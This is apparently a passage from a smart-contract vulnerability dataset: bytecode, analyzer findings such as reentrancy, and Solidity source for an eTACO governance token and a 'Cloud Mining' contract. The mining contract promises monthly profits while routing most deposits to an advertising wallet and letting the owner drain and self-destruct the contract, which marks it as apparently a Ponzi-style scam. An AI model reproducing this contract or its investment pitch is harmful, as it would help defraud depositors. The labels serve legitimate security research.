00000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078cab0de3f69c34049cf8a5ae76f5018f702664cf4e0edc51a5e9a923139e94264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
564
0xC97b96098bd6DE2B1F5aC954F9E94Ef0BAA2Ed05
pragma solidity 0.8.0; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT contract eTaco { /// @notice EIP-20 token name for this token string public constant name = "eTACO-v2"; /// @notice EIP-20 token symbol for this token string public constant symbol = "eTACO"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 395097860e18; // 395,097,860 million eTaco /// @dev Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @dev Official record of token balances for each account mapping (address => uint96) internal balances; /// @dev A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new eTaco token */ constructor() { balances[msg.sender] = uint96(totalSupply); emit Transfer(address(0), msg.sender, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "eTacoToken::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = sub96(spenderAllowance, amount, "eTacoToken::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "eTacoToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "eTacoToken::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "eTacoToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "eTacoToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "eTacoToken::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "eTacoToken::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "eTacoToken::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "eTacoToken::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "eTacoToken::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "eTacoToken::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "eTacoToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611435565b60405180910390f35b6101576101523660046112c7565b6102e5565b60405161013b91906113bb565b61016c6103a7565b60405161013b91906113c6565b61016c6103b7565b61015761018f36600461128c565b6103db565b61019c61051e565b60405161013b91906116ab565b6101bc6101b7366004611240565b610523565b60405161013b91906113a7565b6101dc6101d7366004611240565b61053e565b005b6101f16101ec366004611240565b61054b565b60405161013b919061167b565b61016c61020c366004611240565b610563565b61022461021f3660046112c7565b61058b565b60405161013b91906116b9565b61016c61023f366004611240565b6107db565b61012e6107ed565b61015761025a3660046112c7565b61080e565b61022461026d366004611240565b61084a565b6101dc6102803660046112f0565b6108c8565b61016c61029336600461125a565b610ad5565b61016c610b07565b6102b36102ae36600461134e565b610b2b565b60405161013b92919061168c565b6040518060400160405280600881526020016732aa20a1a796bb1960c11b81525081565b60008060001983141561030057506001600160601b03610325565b610322836040518060600160405280602b8152602001611831602b9139610b60565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103939085906116b9565b60405180910390a360019150505b92915050565b6b0146d139e866ce271990000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602b80845291936001600160601b03909116928592610431928892919061183190830139610b60565b9050866001600160a01b0316836001600160a01b03161415801561045e57506001600160601b0382811614155b15610506576000610488838360405180608001604052806043815260200161189660439139610b8f565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fc9085906116b9565b60405180910390a3505b610511878783610bd9565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105483382610d84565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600160205260409020546001600160601b03165b919050565b60004382106105b55760405162461bcd60e51b81526004016105ac9061162e565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105e35760009150506103a1565b6001600160a01b03841660009081526003602052604081208491610608600185611760565b63ffffffff9081168252602082019290925260400160002054161161067b576001600160a01b03841660009081526003602052604081209061064b600184611760565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b031691506103a19050565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156106b65760009150506103a1565b6000806106c4600184611760565b90505b8163ffffffff168163ffffffff16111561079657600060026106e98484611760565b6106f39190611731565b6106fd9083611760565b6001600160a01b038816600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915291925087141561076a576020015194506103a19350505050565b805163ffffffff168711156107815781935061078f565b61078c600183611760565b92505b50506106c7565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806005815260200164655441434f60d81b81525081565b600080610833836040518060600160405280602c8152602001611805602c9139610b60565b9050610840338583610bd9565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff16806108755760006108c1565b6001600160a01b038316600090815260036020526040812090610899600184611760565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9392505050565b60408051808201909152600881526732aa20a1a796bb1960c11b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fbbc04479c055a17f154466a5984797709bdb9cea515f8cb73051d7dbf30b027f610934610e0e565b3060405160200161094894939291906113f3565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf88888860405160200161099994939291906113cf565b604051602081830303815290604052805190602001209050600082826040516020016109c692919061138c565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610a039493929190611417565b6020604051602081039080840390855afa158015610a25573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a585760405162461bcd60e51b81526004016105ac906114e6565b6001600160a01b0381166000908152600560205260408120805491610a7c836117a5565b919050558914610a9e5760405162461bcd60e51b81526004016105ac906115e6565b87421115610abe5760405162461bcd60e51b81526004016105ac9061159a565b610ac8818b610d84565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b875760405162461bcd60e51b81526004016105ac9190611435565b509192915050565b6000836001600160601b0316836001600160601b031611158290610bc65760405162461bcd60e51b81526004016105ac9190611435565b50610bd18385611785565b949350505050565b6001600160a01b038316610bff5760405162461bcd60e51b81526004016105ac90611532565b6001600160a01b038216610c255760405162461bcd60e51b81526004016105ac90611488565b6001600160a01b03831660009081526001602090815260409182902054825160608101909352603c808452610c70936001600160601b03909216928592919061190f90830139610b8f565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526036808452610cd894919091169285929091906118d990830139610e12565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d459085906116b9565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d7f92918216911683610e5f565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610e08828483610e5f565b50505050565b4690565b600080610e1f848661170f565b9050846001600160601b0316816001600160601b031610158390610e565760405162461bcd60e51b81526004016105ac9190611435565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e8a57506000816001600160601b0316115b15610d7f576001600160a01b03831615610f4f576001600160a01b03831660009081526004602052604081205463ffffffff169081610eca576000610f16565b6001600160a01b038516600090815260036020526040812090610eee600185611760565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b90506000610f3d82856040518060600160405280602e81526020016117d7602e9139610b8f565b9050610f4b86848484611007565b5050505b6001600160a01b03821615610d7f576001600160a01b03821660009081526004602052604081205463ffffffff169081610f8a576000610fd6565b6001600160a01b038416600090815260036020526040812090610fae600185611760565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b90506000610ffd82856040518060600160405280602d815260200161194b602d9139610e12565b9050610acd858484845b600061102b436040518060600160405280603a815260200161185c603a9139611202565b905060008463ffffffff1611801561108557506001600160a01b038516600090815260036020526040812063ffffffff831691611069600188611760565b63ffffffff908116825260208201929092526040016000205416145b156110f9576001600160a01b038516600090815260036020526040812083916110af600188611760565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216600160201b026fffffffffffffffffffffffff00000000199092169190911790556111b8565b60408051808201825263ffffffff83811682526001600160601b0385811660208085019182526001600160a01b038b166000908152600382528681208b861682529091529490942092518354945163ffffffff199095169216919091176fffffffffffffffffffffffff000000001916600160201b93909116929092029190911790556111878460016116e7565b6001600160a01b0386166000908152600460205260409020805463ffffffff191663ffffffff929092169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516111f39291906116cd565b60405180910390a25050505050565b600081600160201b8410610b875760405162461bcd60e51b81526004016105ac9190611435565b80356001600160a01b038116811461058657600080fd5b600060208284031215611251578081fd5b6108c182611229565b6000806040838503121561126c578081fd5b61127583611229565b915061128360208401611229565b90509250929050565b6000806000606084860312156112a0578081fd5b6112a984611229565b92506112b760208501611229565b9150604084013590509250925092565b600080604083850312156112d9578182fd5b6112e283611229565b946020939093013593505050565b60008060008060008060c08789031215611308578182fd5b61131187611229565b95506020870135945060408701359350606087013560ff81168114611334578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611360578182fd5b61136983611229565b9150602083013563ffffffff81168114611381578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b8181101561146157858101830151858201604001528201611445565b818111156114725783604083870101525b50601f01601f1916929092016040019392505050565b602080825260409082018190527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e908201527f6e6f74207472616e7366657220746f20746865207a65726f2061646472657373606082015260800190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c60408201526b6964207369676e617475726560a01b606082015260800190565b60208082526042908201527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e60408201527f6e6f74207472616e736665722066726f6d20746865207a65726f206164647265606082015261737360f01b608082015260a00190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a207369676e6160408201526b1d1d5c9948195e1c1a5c995960a21b606082015260800190565b60208082526028908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c6040820152676964206e6f6e636560c01b606082015260800190565b6020808252602d908201527f655461636f546f6b656e3a3a6765745072696f72566f7465733a206e6f74207960408201526c195d0819195d195c9b5a5b9959609a1b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b600063ffffffff808316818516808303821115611706576117066117c0565b01949350505050565b60006001600160601b03808316818516808303821115611706576117066117c0565b600063ffffffff8084168061175457634e487b7160e01b83526012600452602483fd5b92169190910492915050565b600063ffffffff8381169083168181101561177d5761177d6117c0565b039392505050565b60006001600160601b038381169083168181101561177d5761177d6117c0565b60006000198214156117b9576117b96117c0565b5060010190565b634e487b7160e01b600052601160045260246000fdfe655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773655461636f546f6b656e3a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a617070726f76653a20616d6f756e7420657863656564732039362062697473655461636f546f6b656e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473655461636f546f6b656e3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220eb405c5b3e63c523effd2173ba2b4d64bc017f273c20963ad85cfe680080571164736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
565
0xfe96188e438cee77e5c0bd21cef08dff8ee5477f
pragma solidity ^0.5.10; /* Get up 5 % profit every month with a contract Cloud Mining! * * - lifetime payments * - unprecedentedly reliable * - bring luck * - first minimum contribution from 0.1 eth, all next from 0.01 eth * - Currency and Payment - ETH * - Contribution allocation schemes: * - 100% of payments - only 6% percent for support and 3% percent referral system! * * * RECOMMENDED GAS LIMIT: 200,000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * DO NOT TRANSFER DIRECTLY FROM AN EXCHANGE (only use your ETH wallet, from which you have a private key) * You can check payments on the website etherscan.io, in the “Internal Txns” tab of your wallet. * *@FOR USER'S: * This smart contract is a public offer. * In accordance with the law on digital assets adopted in the Russian Federation, * we bother you that you perform all actions in a smart contract exclusively independently and at your own peril and risk. * The developers are not responsible for your actions. * By submitting your digital assets to a smart contract, you agree to this offer. * How to use: * 1. Send from your ETH wallet to the address of the smart contract * any amount first from 0.1 ETH and all next from 0.01 ETH. * 2. Confirm your transaction in the history of your application or etherscan.io, indicating the address of your wallet. * Take profit by sending 0 eth to contract (profit is calculated every second). * *@DEV https://github.com/alexburndev/miningmasters/blob/main/cloudmining.sol **/ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract CloudMinig_byMiningMasters { using SafeMath for uint256; address payable public owner = 0x1a08070FFE5695aB0Eb4612640EeC11bf2Cf58eE; address payable public addressSupportProject = 0x009AE8DDCBF8aba5b04d49d034146A6b8E3a8B0a; address payable public addressAdverstingProject = 0x54a39674A0c22Cb2f9022f285b366a4f4d525266; uint p; uint d = 100; uint p0 = 2; uint p1 = 3; uint p2 = 4; uint p3 = 5; uint refer = 3; uint sup = 3; uint adv; struct InvestorData { uint256 funds; uint256 lastDatetime; uint256 totalProfit; } mapping (address => InvestorData) investors; modifier onlyOwner() { assert(msg.sender == owner); _; } function withdraw(uint256 amount) public onlyOwner { owner.transfer(amount); } function changeOwner(address payable newOwner) public onlyOwner { owner = newOwner; } function SetProcp0 (uint _p0, uint _d) public onlyOwner { p0 = _p0; if (_d == 0) d = 100; } function SetProcp1 (uint _p1, uint _d) public onlyOwner { p1 = _p1; if (_d == 0) d = 100; } function SetProcp2 (uint _p2, uint _d) public onlyOwner { p2 = _p2; if (_d == 0) d = 100; } function SetProcp3 (uint _p3, uint _d) public onlyOwner { p3 = _p3; if (_d == 0) d = 100; } function SetProcrefer (uint _refer, uint _d) public onlyOwner { refer = _refer; if (_d == 0) d = 100; } function ChangeAdverstingProject (address payable _NewAddress) public onlyOwner { addressAdverstingProject = _NewAddress; } function ChangeAddressSupport (address payable _NewAddress) public onlyOwner { addressSupportProject = _NewAddress; } function itisnecessary() public onlyOwner { msg.sender.transfer(address(this).balance); selfdestruct(owner); } function addInvestment( uint investment, address payable investorAddr) public onlyOwner { investorAddr.transfer(investment); } function bytesToAddress(bytes memory bys) private pure returns (address payable addr) { assembly { addr := mload(add(bys,20)) } } function getInfo(address investor) view public returns (uint256 totalFunds, uint256 pendingReward, uint256 totalProfit ) { InvestorData memory data = investors[investor]; totalFunds = data.funds; if (data.funds > 0) pendingReward = data.funds.mul(p).div(d).mul(block.timestamp - data.lastDatetime).div(30 days); totalProfit = data.totalProfit; } function() payable external { assert(msg.sender == tx.origin); // prevent bots to interact with contract if (msg.sender == owner) return; InvestorData storage data = investors[msg.sender]; if (msg.value > 0) { // first investment at least 0.1 ether, all next at least 0.01 ether assert(msg.value >= 0.1 ether || (data.funds != 0 && msg.value >= 0.01 ether)); if (msg.data.length == 20) { address payable ref = bytesToAddress(msg.data); assert(ref != msg.sender); ref.transfer(msg.value.mul(refer).div(100)); // 3% addressAdverstingProject.transfer(msg.value.mul(100-refer-sup-10).div(d)); } else if (msg.data.length == 0) { addressAdverstingProject.transfer(msg.value.mul(100-sup-10).div(d)); } addressSupportProject.transfer(msg.value.mul(sup).div(d)); } if (data.funds < 10 ether) { p = p0; } else if ( 10 ether <= data.funds && data.funds < 30 ether) { p = p1; } else if ( 30 ether <= data.funds && data.funds < 50 ether) { p = p2; } else if ( data.funds >=50 ether) { p = p3; } if (data.funds != 0) { // % per 30 days uint256 reward = data.funds.mul(p).div(d).mul(block.timestamp - data.lastDatetime).div(30 days); data.totalProfit = data.totalProfit.add(reward); address(msg.sender).transfer(reward); } data.lastDatetime = block.timestamp; data.funds = data.funds.add(msg.value.mul(94).div(100)); } function getrewardInfo(address investor) view public returns (uint256 